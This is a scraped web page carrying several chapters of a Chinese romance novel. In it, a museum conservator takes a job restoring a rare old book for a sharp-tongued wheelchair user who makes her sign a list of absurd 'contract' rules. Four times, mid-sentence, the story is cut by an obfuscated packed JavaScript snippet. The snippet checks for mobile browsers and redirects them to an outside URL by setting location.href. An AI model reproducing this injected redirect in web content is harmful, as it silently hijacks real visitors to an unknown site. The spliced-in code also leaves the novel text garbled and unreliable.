他说得突然,林昙的情绪还在之前的尴尬场面里,愣了下才反应过来,“哦”了一声,不知该说什么才好。 期待已久的事情展开在了眼前,她却高兴不起来。 早在上次聊天之后,她就从江凝波那里知道了江回雁手里的古籍是怎么回事了,是他和英国商人换的,从国外送回来需要种种琐碎的手续,所以那之后,林昙就不着急了,也没再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116249|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 催过。 因为知道很多不该知道的事情,也清楚两人是各取所需,所以和江回雁相处起来,林昙很放松。 有点放松过头了。 算起来,两人连朋友都不一定算得上吧? 用力过度的羞惭感萦绕着林昙,她脸上发烫,把那只被江回雁抓过的手背在身后轻蹭了下,试图把残留在手腕上的温热触感擦掉。 那感觉黏在皮肤上一样,擦了好几下仍然似有若无,林昙只能让自己尽量忽视它,若无其事地推着江回雁继续往前。 湖畔有很多供人休息的石凳,前面不远又有一个。 林昙推着江回雁往那边走去,收起凌乱的心思,问:“修复时间有限制吗?” “时间和价格都不是问题。”江回雁道,“林小姐是省博物馆的修复师,能力肯定是没问题的,我相信你。林小姐,你对雇主有什么要求吗?” 林昙被这个疏远的称呼弄得脸上的红晕加深了几分。 明明早知道江回雁与她联系并不是出于喜欢,她自己也很清楚,却没有摆正自己的位置,越界开起了不合适的玩笑,这下人家直接用“林小姐”点明两人的距离,可够她尴尬的了。 她推着轮椅的手紧了紧,说道:“你不介意我的修复水平的话,我这边是没有要求的。” “那就好,晚点你把地址发给我,会有人把东西给你送过去,具体报酬,他和你谈。” “好的。” 一问一答,几句话下来,事情就说定了。 林昙还没走到那个石凳跟前,觉得也不用往前走了,直接把江回雁推出公园,两人就能分开了。 痛定思痛,以后她一定谨记和人保持距离,再也不会随便开玩笑了! 林昙停下脚步,就要和江回雁说原路返回,听见他道:“林小姐没有要求,我有。不知道林小姐能不能答应。” 林昙脚步滞了一下,道:“你说。” 她对江回雁的要求也早有心理准备,最大的一条不过是让她陪他参加发小的婚礼。这一条本来她是能接受的,但出了刚才那档子事情,现在林昙不确定自己还能不能接受。 有了委托和被委托人的关系后,两人之间就不再是平等的。 她不应该和雇主产生任何暧昧关系,作为他的女伴出席朋友的婚礼,更加不合适。 或许,就连江回雁的这桩委托她都不该接受。 不该急功近利的。 江回雁不知她起了退缩心思,已经兀自提出了自己的条件:“第一,和我说话的时候不许发嗲,不许含沙射影,不许阴阳怪气。” 正犹豫是不是要退缩的林昙一时跟不上他的思路,呆呆地“……啊?”了一声。 “第二,专业之内的事情你说了算,专业之外,我怎么说,你就怎么做,不准一而再再而三地反驳我。比如刚才,我让你坐过去,你要立刻马上执行。” 林昙:“……” “第三,未经允许,不准碰我。” “第四,和我说话时,不许拐弯抹角。” “第五,当面和背后都不允许说我坏话,不许对我有任何人品、道德和法律上的质疑。” “第六,在任何人面前、任何时候,都要对我进行绝对维护。” “第七,要主动向我汇报修复进度,我也会时不时检查,必要时候我会打视频电话监督。” “最后,也是最重要的一条,我是雇主,是你的甲方,请注意你对我的态度一定是温柔的、耐心的、逆来顺受的,懂吗?” “……”林昙听懵了。 面对江回雁的反问,她沉默了好一会儿,完全理解江回雁的意思之后,她脑子里冒出的第一个想法,竟然是不知道该不该庆幸这八个条件里好歹有一条是正儿八经关于文物修复的。 “怎么不说话?”江回雁问。 身后没有回答,他也不转身看林昙的表情,摸了摸下巴,自顾自道:“对了,再添一条,不能让雇主的话落到地上。不管雇主问什么,你都必须回答。” 说完,他好像也觉得自己的条件太多、太苛刻,补了一句:“当然,以上所有条件都是以法律和道德基础为前提的,不会侵犯你的女性隐私和人权自由。” 林昙:“……” 该说谢谢吗? “不说话,是反悔了吗?”江回雁终于回头看林昙的表情了,虽然不得不仰视对方,他的表情却高傲得仿佛他才是站在高处的那一个。 看着林昙惊诧、不解、为难等多种情绪交织出来的表情,江回雁扬眉一笑,神情嚣张,“现在反悔,还来得及。” “不是……”林昙咽了下口水,缓缓开口,说话时,把轮椅转了个方向,让江回雁面朝着波光粼粼的碧青湖水,一脸深沉地说道,“我在想,这个湖很深很深,万一我不小心狠狠把你推了下去,你会不会被淹死呢?” 江回雁:“……?” 15.照片 秋高气爽,凉风徐徐。 周末的公园里有情侣约会,有老人散步,林昙推着江回雁站在随风舞动的柳树下,面朝着水波荡漾的湖水,两人一个弯腰说话,一个向后靠着侧耳倾听,俨然一对浓情蜜意的小情侣。 ——前提是不知道两人的对话内容。 “人生总是充满意外,下一秒会发生什么,谁也说不准的。”应江回雁的要求,林昙说话的声音非常的温柔,“为了防止我手心出汗不小心让轮椅滑到水里,建议你撤回至少七条要求。” 江回雁临危不惧,“故意伤害他人是要坐牢的。” “实不相瞒,我有一段时间沉迷犯罪片,从里面学到不少东西。” 林昙说话时,身后有两个小孩追逐着经过,她侧着身子避了一下,重新弯下腰,一本正经道:“而且我演技很好,曾经有个导演对我赞不绝口,一度想请我饰演偶像剧里的恶毒女二。” 江回雁转头,表情也很认真:“我记得你曾经说过一句话,叫威武不能屈。” 停顿一下,他又说:“感谢令堂教会了我这个道理。” 两人所说的话与外表完全调换,现在林昙成了那个“蔑视”法律法规威逼利诱他人的反派,江回雁倒成了坚贞不屈的纯洁正直主角。 拌了几句嘴,林昙率先偃旗息鼓。 行吧,条件虽然多了点,但都不涉及原则。再说了,在甲方面前卑躬屈膝一点,也不是什么丢人的事。 就当江回雁这人有问题……谁成长道路上没碰见几个稀奇古怪的人类呢? 吕教授年轻时为一个富豪的藏品做修复工作,还被迫在对方家里住了半年,被日夜监督呢。 林昙只剩下最后一个问题要确认:“没有别的要求了?” 比如陪你一起参加你发小的婚礼? “有。”江回雁道,“第十条……” 他刚要给冗长的苛刻条件再加上一条,身后突然传来两声痛呼声,他肩上一重,发现林昙两只手撑了上来,可惜这不足以止住她跌倒的趋势,那两只手只停留了一秒钟,就从江回雁肩上滑落,搭到了他胸前。 伴随而来的是后背上柔软的女性身躯的触感,与一股萦绕而来的淡雅香味。 下一瞬,轮椅滑动。 还没站稳的林昙:“!” 江回雁提了很多要求,唯独没说最重要的那条,林昙等着他说出来,想看他对这件事的态度。如果江回雁只是就事论事,这份委托可以接受。反之,她只好放弃这个机会了。 林昙的注意力全放在江回雁身上,没注意到身后有一个七八岁的小孩骑着自行车经过。 小孩骑车不熟练,经过她的时候不知道怎么回事,车头一拐,突然向她撞来。 林昙毫无防备地被撞了一下,身体失去平衡,跌在了江回雁的背上,进而为轮椅提供了推力,致使轮椅载着江回雁向着深碧色的湖水滑去。 公园是新建的,蜿蜒小路旁是一小片倾斜的草地,一旦轮椅滑到草地上,江回雁就真的要栽倒进湖里了! “哎——”林昙感受到轮椅的滑动,吓得惊叫一声,下意识地勒紧江回雁的脖子,然而她自己还没稳住,踉跄着被拖着往前了两步。 林昙吓得不敢睁眼。 她只是说说,不是真的想淹死江回雁啊! 就在轮椅将要摔到长满青草的斜坡上时,轮椅下方传来一道细微的响声,紧接着,轮椅仿佛被按了暂停键,刹那间停住,稳稳地把江回雁和他背上的林昙挡在石板小路的边缘。 按下轮椅紧急制动按钮的江回雁回头,看着惊魂未定的林昙,眉梢一挑,道:“你执行力这么强的吗?” 林昙:“……” 感谢迅速发展的科技,否则凭着刚才两人的那一段对话,她跟着江回雁跳进湖里也洗不清蓄意谋杀的罪名了! 正要站起来,江回雁指着林昙还搭在他胸口的手,又说:“未经允许,不准碰我。”说完抬眸,“这次暂时原谅你。” 林昙:“……” 要不,还是让他掉水里淹死算了…… 林昙在心里把江回雁扔水里涮了好几遍,解了气,她站起来,先把轮椅往路中间推了推,再抚着胸口深吸两口气,然后回头看罪魁祸首,“多危险啊,这个叔叔差点就被撞到河里了!他要是掉河里,一定会把你也扔进去喂鱼的!” 那个小男孩明显也吓着了,通红着脸,抓着衣角小声说了句“对不起”。 林昙恐吓过小孩,再安慰他,“这次就算了,以后小心点。”说完她帮小男孩推起自行车,“去大路上骑吧。” 小男孩在衣服上擦擦手,面红耳赤地推着自行车往大路上去了。 目送小孩离开,林昙转回身,发现江回雁正盯着她看。 视线相对,江回雁从容不迫地眨了下眼睛,道:“第十条,遵纪守法。” 林昙没他这么快能从意外事件中把情绪抽离,静了静,才想起两人之前的话题,不由得汗颜,“……你不会是在记仇吧?” 相亲那天,她怀疑过江回雁是游走在灰色地带的不法分子。 江回雁神色不变,反问:“你觉得我在记什么仇?” 林昙:“呵呵。” 只能说有的人之所以相亲一直被拒,真的应该从自己身上找找原因。 “没别的要求了?”在心底吐槽后,林昙最后一次与江回雁确认。 江回雁没有立刻回答,而是漫不经心地打量了她一下,再轻飘飘地看向前方不远处散步的老夫妻。静静看了会儿,他道:“没了。” 林昙惊讶。 她看着江回雁的侧脸,仔细回忆了下,发现江回雁想让她陪同着参加发小婚礼这件事,从头到尾都是江凝波说的,“婚礼”这两个字,她从来没在江回雁嘴里听见过。 他到底是怎么想的? 有时候,林昙觉得自己很了解江回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林昙的长发还飘到了他下巴上……就是表情相差太多,而且那会儿林昙只知道勒紧他的脖子和惊慌地“哎”了,好像她声音再焦急一点,轮椅就能听懂了自动停下一样。 回忆过后,江回雁再细看新娘。 挺漂亮的。 除了漂亮没什么特别的,要不是袁尚整天殚精竭虑地变着法在他面前秀恩爱,他早该不记得她的模样了。 江回雁最后再看了眼两人的钻戒,关掉手机,揉着太阳穴往车窗外看去。 汽车正经过一条林荫大道,旁边的小路上,一对小情侣牵着手经过,女生不知道在说什么,男的低着头听她说话,脸上的笑和袁尚一样恶心。 江回雁又想起林昙。 林昙……她要是没长嘴就好了。 16.合同 第二天,江回雁的助理登门,送来了那个林昙惦记了很久的破旧木箱和里面年代久远的霉变旧书。 牛助理很有职业操守,把古书的鉴定和归属证明等资料全部带来了,问过林昙对古书损坏程度的判定、修复计划和修复所需的预计时间后,掏出一份合同。 这一切都是在上次江回雁与林昙达成一致的前提上成立的,报酬和时间上可以说很宽裕了,听说修复前后可能需要用到一些电子产品,牛助理当场表示按江回雁的意思,修复过程中所有需要的设备,大到精密的电子仪器,小到一支镊子和毛笔,全都由他们提供。 “有需要尽管提,只要把事情做好,费用不是问题。”牛助理表示,“我老板——也将会是你的老板——出手一向很大方。” 是很大方,和江回雁生活中的睚眦必报完全相反。 林昙才感慨完,牛助理递来合同,道:“根据先前林小姐与老板的口头约定,我整理出了一份合同,林小姐您看看有没有问题。” 合同很简单,就是昨天江回雁提出的那几条针对林昙的、很啰嗦的无理条款。 林昙实在没想到江回雁能把这东西拟定成合同,哑然了好久。 可一想到江回雁那性格,又觉得他做出这种事也不算奇怪,叹了口气,提笔要签,听见牛助理感慨道:“为了弄这见鬼的合同,我费了好大劲儿,要不是碰巧看见我妹言情小说里的恋爱条约,我还真弄不出来。” 林昙:“……” 什么恋爱条约?!不要乱说话啊! 林昙本来打算签的,被“恋爱条约”四个字刺激了一下,忽然感觉手中的笔好重! 牛助理这段时间奔波不停,不知道林昙和江回雁相过亲,更想不到他随口吐槽的一句对林昙造成了多大影响。 见林昙这样,他以为合同上有什么问题,拿起另一份检查了一遍,确认没出错,又以为林昙是在权衡利弊,苦口婆心地劝说:“签了吧,这玩意根本就没什么实施标准和法律效果,吃不了亏的。” 话是没错。 比如“不能故意不回消息、不接电话”这条,只要林昙不再说漏嘴,江回雁根本没法判定她是不是故意的。就是知道了,也不能把她怎么样。 道理是没错,就是吧,林昙已经完全被牛助理那无心的一句话带偏了,越看这东西,越感觉像小说里的恋爱条约…… ……签这个东西,被别人知道了,会被鄙视一辈子的吧…… 可事已至此,她没有退路了。 林昙再一次把箱子里的旧书想象成她的白月光,心一横,落笔签下了自己的大名。 落笔无悔。 断了后路,她努力把“恋爱条约”四个字赶出脑海,接着牛助理的话问:“你既然知道这东西没用,怎么不劝劝江回雁?” “咱就是做牛马的,老板怎么说就怎么做,多什么嘴啊。”牛助理点着霸王条款里的第二条自嘲完,又说,“再说了,咱们老板向来一意孤行,根本听不进别人的意见。” 关于江回雁一意孤行这件事,林昙没少从江凝波嘴里听见。 江凝波与江回雁是兄妹,不得不忍他,牛助理不一样。 “那你还跟着他?” “咱老板孤行己见惯了,做的决策不管别人理解不理解,他都不会改,这一点是很难忍。但!是!”牛助理收拾着桌上的文件,抽空竖起一根大拇指,“但是事实证明,咱老板眼光犀利,做的决策从来没出过错!” 管他多烂的脾气、是不是独断专行,只要能让员工赚钱,就是值得效忠的好老板! 合同签好,牛助理拿起要带走的那一份,自信说道:“虽然我不知道老板让你签这份没用的合同是什么用意,但我相信,最终结果一定在我老板的预料之中。” 林昙听得心里有点不安。 怎么又有一种落入陷阱的感觉? 如果说这份合同是陷阱,她是猎物,那牛助理就是助纣为虐的刽子手。 “你也签了类似的合同?”林昙指着那份耻辱的合同问。 “怎么可能!”牛助理清白受辱似的激烈否认,又优越感十足地说道,“我是正式员工,签的是正经合同,和你临时工签的奴隶合约不一样。” “……” 林昙定定看着他,字字清晰道:“哦,你一个牛马这么维护和赞扬老板,我还以为你俩签的不是雇佣合同,而是结婚条约呢。” 牛助理:“……” 自嘲和被人嘲,还是被一个气质文静的乖乖女嘲讽,扎心程度是完全不一样的。 牛助理想起修复合约里“不许含沙射影,不许拐弯抹角,不许阴阳怪气”这一条,再看看气质温柔,外表恬静无害的林昙,恍惚明白江回雁为什么要让她签这种东西了。 质疑老板,理解老板,再努力一把,他就可以成为老板了。 . 林昙的生活一直很平静,上班时候认真工作,下班后不是去爸妈那,就是和同事朋友逛街聊天,现在,她的生活发生了改变。 “我发现一家很好吃的餐厅,下班后一起去啊。”林家爸妈和陶莘知道林昙接了新的修复工作,没去打扰她,江里花不知道,中午吃饭的时候约林昙下班后共享美食。 “不行,我有事。”林昙一边发消息,一边拒绝。 “一有空就看手机回消息,一下班就立刻回家,你以前可没有这么忙。”江里花知道林昙平常是不和爸妈一起住的,怀疑地戳了戳她的胳膊,挤眉弄眼,“这么忙,你该不会是在家里养了男人吧?” 林昙:“你从哪里得出的这个荒谬结论?” 哪有什么野男人,她就是处于劲头上,在争分夺秒地进行着修复大业。拒绝江里花是因为修复方案和补纸等工具已经敲定,今晚就能拆书了,她根本没心思出去吃饭。 林昙刚把进度发给江回雁,没得到回复,放下手机,看向江里花,“不要胡说。” 江里花指着她眼下,啧啧道:“黑眼圈都出来了,还说不是被野男人吸了精气?” 林昙那黑眼圈是不想睡觉,是自己熬出来的。 她没好气道:“哪有什么野男人,野猫还差不多。” 既要及时回消息,还得保证语气温柔,不能伤到雇主脆弱的心灵。江回雁真的像一只骄矜的野猫。没错,是野猫,敏感,脾气臭,又凶又容易炸毛,还是个游荡在外的主子。 “什么啊?你到底是养了猫,还是在忙别的事?”江里花追问。 林昙想和她说自己接了个修复工作,但一想到那份合约与江回雁曾经和自己相过亲的事,就觉得难以启齿。 “你就当我养了只麻烦事很多的小野猫吧。” 正说着,“小野猫”发来消息:【晚上当面说。】 林昙计划着晚上拆书呢,不想和江回雁见面,可恋爱合约里……不是!是修复合约! 拜牛助理所赐,现在那份明朝古籍和“恋爱合约”四个字,一起在林昙脑子里扎了根。 不能被牛助理带偏了! 是修复合约! 修复合约里说了,雇主会时不时核验修复进度,江回雁的要求完全符合情理,林昙没法拒绝。 再说了,他都没要求亲眼去看……要是真说了,林昙还能以晚上孤男寡女独处不方便为由拒绝呢。 林昙被“恋爱合约”几个字惊出一身鸡皮疙瘩,反复在心里提醒自己那是工作。既然是工作,就没必要想那么多了,坦荡一点! 林昙坦荡地与江回雁约好了下班后见面。 事情说定,放下手机,她重重又叹一口气,“晚上真没空和你逛街,得应付猫主子呢。” 江里花:“行吧,那我找别人。” . 六点,林昙下班,在约定的地方等到江回雁。 “我定了地方,先去吃饭。” 林昙隔着车窗拒绝:“直接说事吧。” 江回雁:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139180|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对员工没那么苛刻。” 这还不苛刻?两人明明是合作关系,到他嘴里,林昙成了员工,平白无故矮了一级。 林昙目光一转,看向江回雁,将要开口挤兑,对她已经有所了解的江回雁脸色一沉,未卜先知地提醒:“想想第八条。” 林昙:“……” 她哪记得住恋爱……修复条约里,乱七八糟的的具体内容啊,不过也不用记,那玩意通篇都是对她的约束,大概可以概括为江回雁是天是地是主子,对待江回雁,她要温柔、耐心、容忍,哪怕江回雁说指着天空说那是大海,她也得像个弱智一样深信不疑。 “你在心里骂我?”江回雁突然质问。 林昙:“……哪有!我最敬业了!” 说着,她绕到另一边,乖乖上了车。 今天开车的是牛助理,在林昙坐上车后,他回头打招呼,顺便为老板正名:“我作证,我们老板从来不苛待员工,不信你看,待会儿老板请你吃法式大餐会带上我一起。” 江回雁残忍地打破了他的美好幻想,“首先,今天没有法式大餐。其次,某些员工被老板苛待,是有原因的。” 牛助理:“……” 牛助理咳了一声,启动车子,同时向“临时工同事”寻求帮助:“哈哈,老板最喜欢开玩笑了。林小姐,你怎么不笑啊?” 见到江回雁的时候,林昙还能仗着他听不见自己的心声,在他提起“恋爱条约”的时候面不改色。 看见牛助理,她就忍不住了。 要不是这个罪魁祸首乱说话,她哪至于被带到了沟里,心虚到完全不敢和江里花提自己手上的明朝古籍?她连吕教授那边都没敢说! 林昙已经完全被牛助理带偏了! 本来就因为这事心里刺挠,牛助理还主动往她枪口上撞。 林昙看出牛助理和江回雁不是一般的上下级,决定今天就让他见识一下人心的险恶和职场的刀光剑影。 她上半身坐得直挺挺的,认真回答道:“因为不好笑。” “老板给你发工资,你为老板做事,这是你的职责。”林昙正襟危坐,说得正气凛然,“通过吹捧老板来逼老板请你吃饭,这是贪占小便宜,是道德绑架,是不对的。” 牛助理:“……” “……”江回雁也被林昙一本正经的夸张语气弄得无语,侧目看了她一眼,念在她是在为自己说话,勉强忍了。 林昙继续:“除非你俩的关系不止是老板和员工。” 牛助理和江回雁共事很久,很熟了,有工作时是上下级,没工作时是朋友,开玩笑是常有的事。 而他和林昙一共只见了两面,并且对林昙印象深刻,在听见这句颇具引导性的话后,那句“结婚条约”突兀地蹦到了牛助理脑子里。 他眼角一抽,匆忙扫了眼外后视镜,把车子急刹在了路边。 惯性使然,车里几人都往前倾了一下,这让江回雁记起不好的经历,“发什么疯?” 牛助理按着眼皮,磕巴道:“……手、手心出汗了。” 江回雁:“你用手踩的刹车?” 牛助理:“……” 江回雁听不出两人的言外之意,但能通过两人的反应看出来他们是在打暗语。 这两人什么时候这么熟了? 讽刺过牛助理,他偏过脸看林昙,看见林昙扬起一个纯真无暇的笑,关切地凑过来,声音温柔地问:“你没事吧?有没有磕到?” 江回雁目光沉下,无声地审讯了她几秒,警告:“少背着我打鬼主意。” 说完看见林昙张嘴想说话,他道:“司机说话会让你紧张,你的心理阴影呢?忘了?” 林昙:“我……” “记起来了就老实闭嘴!”话音刚落,前面的牛助理转过头,嘴巴刚张开,同样得了一句呵斥:“你也一样!” 五秒钟后,车子重新启动,里面静悄悄的,再没有一丝属于人类的声音了。 17.信任 到了地方,牛助理把江回雁扶上轮椅,再郑重地把他交给林昙。 交接时,他用眼神表达着浓烈的鄙视之情,嘴巴里别有用心地提醒着:“林小姐,请务必牢记你签过什么条约,请务必谨言慎行。” 林昙对他依仗着老员工的身份对“新员工”颐指气使的态度很失望,遗憾地摇了下头,然后睁大眼睛,一脸疑惑地问:“原来你才是我的老板吗?” 江回雁发出一声嗤笑。 嗤笑声化作利箭刺向了牛助理。 牛助理吃了败仗还被老板背刺,深感伤痛,打消了蹭饭的念头,返回车内,一脚油门跑远了。 “你的坐骑跑了,等会儿怎么回去?”林昙推着江回雁,未雨绸缪地担忧,“不会是要我送你回去吧?” 问完记起那几个条约,又打着补丁道:“我有驾照,但没上过路,如果老板愿意送我一辆车又不怕死的话,我可以鼓起勇气充当一回司机。” 这几句话语气温柔,态度诚恳,没有违背条约中的任何一条,就是槽点太多了。 江回雁懒得和她废话,头也不回道:“为了维护老板的形象,请适时闭嘴,以免老板当众对你翻白眼。” 这时餐厅服务员迎到了两人跟前。 在不熟悉的人面前,林昙恢复温柔腼腆的形象,低头对着江回雁“哦”了一声,再抬头,礼貌地拒绝了服务员帮忙推轮椅的服务。 就算她不拒绝,江回雁也不会答应。 林昙看出来了,江回雁在外人面前不肯屈居下位,但在家人、员工面前可以适当容忍……可能因为这些人虽然站起来都高出坐轮椅的他,但在精神方面,都处在他的压迫之下? 一路无话被带到餐桌旁,点餐后,服务员走开,林昙正想趁这时候和江回雁说正事,他已先一步开口:“我没记错的话,你和牛助理只见过一面。他怎么得罪你了?” 林昙的脸唰的一下热了起来。 这要怎么解释? 他污蔑你我,说咱俩签的是恋爱合约?——这么说的话,牛助理可能会遭受到金主老板的折磨,她也再无颜面与江回雁相处,属于杀敌一千,自损八百。 “因为他想占老板的便宜,我看不过去。”幸好餐厅的灯光没有那么明亮,林昙忍着脸上的燥热,盯着面前的餐盘,念念有词道,“我正直勇敢。” “你不是墙头草吗?” “……我是正直勇敢的墙头草。” “是吗?那我想问你刚才……” “说正事吧!说正事!”林昙突然提高声音,不管江回雁答应不答应,从座椅上站起来,快速挪到了他旁边。 幸好餐厅很高档,餐桌很大,另一侧能够容下他们两个人。 落座,打开手机,她把照片展开在江回雁面前,劈头盖脸说道:“虫蛀损坏不轻,霉变和絮化也很严重,对比后我打算用这两种补纸中的一种。一种是老麻纸,一种是竹纸,别看它们零零碎碎,都是我以前跟着老师修复名家名作时候收藏下来的,很好的……” 照片里是两沓泛黄的纸张,大小不一,像是剩余的边角料,但平整干净,一看就是被精心收藏起来的。 除了颜色上有一点细微的差别,江回雁看不出别的不同。 “你觉得哪种更合适?”他问。 “麻纸。”林昙道,“我测过了,酸碱度和颜色都合适,用竹纸的话还得染色。不过这点纸可能不够,要是确定用这种的话,回头我再问我老师要一点……” 她一边说,一边划动手机翻到下一张照片,“还有啊,中间得调纸浆,你看这里,全是洞……” 说起专业的事情,林昙絮絮叨叨,注意力全部集中在自己的手机上,没发现手肘不经意地搭在了江回雁的轮椅上。 江回雁感受到温软触感,眼皮一耷,望见了林昙的小臂。 她穿的是一件略宽松的衬衫,袖子带有一点泡泡袖的设计,收口在手肘下方,微微垂落,露出的那段白皙手臂和手腕被衬得格外纤细,就隔着江回雁单薄的衣袖与他贴在一起。 江回雁后知后觉地又一次闻到林昙身上的味道。 感官上的刺激让他想起鲁迅先生的一句讽刺名言。 只不过先生讽刺的是低俗的思维倾向,他好像是纯低俗? 江回雁自认性格缺陷很大,但在男女相处上,还是能算作绅士的。他默默把胳膊移开,眼皮抬起,重新看向林昙的手机。 “……我觉得这样处理最合适,你说呢?”林昙划着手机说了很多,说完扭头征求老板的建议。 “不太懂。”江回雁没怎么听,也的确看不懂她说的那些有什么区别。 江老先生和几个长辈都喜欢古董,他接触过,但对这一方面没有过特别的关注,不懂是正常的。 江回雁道:“既然你觉得合适,那就照你说的做。” 林昙既为他干脆的信任而欣喜,又有一点对牛弹琴的失落,心底的话憋了一下,没憋住,吐露了出来:“听不懂干嘛还让我当面解释?” 江回雁没有一丝迟疑,回道:“为了行使甲方应有的权利,也为了提醒你对老板放尊重一点。” 林昙:“……哦。” 难怪大家都想做甲方。 好在林昙已经习惯了。 文物修复这一行太冷门了,很多人都不懂。以前她跟着吕教授遇到什么新奇的旧书画,和爸妈说,爸妈都很迷茫;和朋友说,她们会配合地惊叹,但其实也不能理解她的心情。 江回雁的反应是正常的。 不懂没关系,作为一个门外汉,能放心地把这么珍贵的东西交给她一个籍籍无名的新人来做,已经很难得了。 林昙继续给江回雁讲解她的修复方案,直到菜品全部送上来,才意犹未尽地停下。 坐回江回雁对面,她自觉专业方面的表现就算是秦教授也挑不出毛病,心中满足,因为江回雁的突然检查而耽误时间的那一点点不悦,也终于烟消云散了。 林昙心情放松,胃口大开,对这家餐厅很满意。 用完餐,她又挪到江回雁身旁,和他说了些后续的计划。 江回雁时不时会提出疑问,每问一句,林昙就给他解释十句,主打一个不管雇主听得无聊不无聊,先满足了自己的表达欲最重要。 这家餐厅一如两人相亲时选的那家咖啡馆,环境清幽,但正逢晚间用餐高峰期,为了不影响别人,又坐了会儿,林昙推着江回雁出了餐厅。 “说真的,你怎么回去?” “王叔已经在来的路上了。”江回雁看了眼时间,道,“还有十五分钟左右。” 林昙兴致未尽,但不妨碍她心情舒畅,笑着问,“那我推着你走一会儿?” 江回雁点头。 这条街很平常,灯光璀璨,行人来往,林昙吹着风,推着江回雁慢吞吞走着,觉得今晚和他出来,其实是个很不错的选择。 江回雁只问,不乱提要求,不会无故质疑她,比某些不懂装懂的甲方好太多了。 “……等会回去我先把第一册拆了,拆完做个电子留存再动手修复。对了,你见过拆书吗?要不要我录视频给你?” 林昙往前弯着腰和江回雁说话,头发从肩上滑下,被风吹着拂到了江回雁的脸上。 江回雁瞥了眼那缕发丝,侧过脸,道:“我记得我对时间的要求很宽松?” “是我自己想早点完成。”至少先完成几页,让雇主看到效果。“说啊,要不要录拆书视频?” “我是没见过……” 江回雁话说一半,忽然停住,看向了另一边。 聊天呢,怎么可以分心! 林昙想看看是谁抢走了她老板的注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151093|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跟着转头,看见了一个熟人。 “真的是你啊?我看了好一会儿,还以为认错人了!”江里花眼睛一亮,挥着手朝林昙走来,“不是要应付你的难缠小喵咪吗?怎么在……” “哎哎哎——”林昙慌张地截住她的话,“你说的那家很好吃的餐厅就在这附近吗?” “对啊。”江里花走到两人跟前,往不远处指了指,“你没空,我就让我妈一起来了,唉,吃个冰的都一阵唠叨……你呢?你这是和……” 江里花往轮椅上的江回雁看去,对他礼貌性地笑了下,再望向林昙。 “朋友。”林昙脱口而出,再匆匆改口,“不对,是老板……” “不用那么复杂,把我当个人就行。”江回雁语气平平,但不知道是不是因为心虚,林昙愣是听出几分凉意。 她用手背抵着唇咳了一下,看见江回雁冲着江里花点头示意。 江里花回了个笑,开始偷偷对林昙使眼色。 林昙松开轮椅,把她往旁边带。江里花顺着她走了两步,嘿嘿一笑,偷偷指着江回雁嘀咕:“小野猫?还是野男人?” “……别乱说话!明天上班再和你聊!”说完,林昙把她往外推,声音提高,“你继续玩,我先走了,拜拜!” 再回到江回雁身后,林昙心中有鬼,话没之前那么多了,幸好王叔已经到了,两人直接上车。 还是先送林昙回家。 这时候她谨记自己的心理阴影,能不说话就不说话。 直到汽车看见小区大门,林昙才放松下来,记起回去要拆书的事情,重新提起旧话:“对了,老板,你到底要不要看拆书视频啊?” “都可以。”江回雁回答。 本来说到这里就可以止住了,林昙可以凭自己的心情决定是不是录一份拆书视频给江回雁,可她心虚,没话找话地夸起江回雁:“谢谢老板信任我!老板真好!我一定肝脑涂地的为老板工作!” 车子挺稳,林昙下车,对着车窗里的江回雁表达谢意,夸张到就差来个九十度鞠躬了。 语言夸张,谢意却是真的。 年初时候,江里花曾经接过一个古画的修复工作,对方委托给了她,却不信任她,每一道工序都要提前打报告,每一个步骤都要录视频发给雇主,并经常遭到无缘由的质疑,最终导致修复工作半途而废。 江回雁这么信任她,林昙真的很感谢。 “其实你不用和我说的那么清楚。”小区门口明亮的灯光打入车内,照亮江回雁偏向林昙的半张脸。他恍若藏匿于黑暗,看着更加不像好人,说话的语气也带有一丝高傲,“我再大方,也不可能拿一个价值高昂的孤本古籍打水漂。” “啊?”林昙听不懂他话中意思。 “我去博物馆看过你的修复作品,也找人评价过。” 林昙睁大了眼睛。 “你比我想的优秀。”江回雁言简意赅,说完看见林昙满脸惊诧,他朝着林昙抬了抬下巴,说得更明显一些,“对专业素养和能力来说,你的外表是缺点。” 年轻、漂亮,吸引别人的目光。外表太突出,工作能力往往就没那么容易得到别人的认可了。 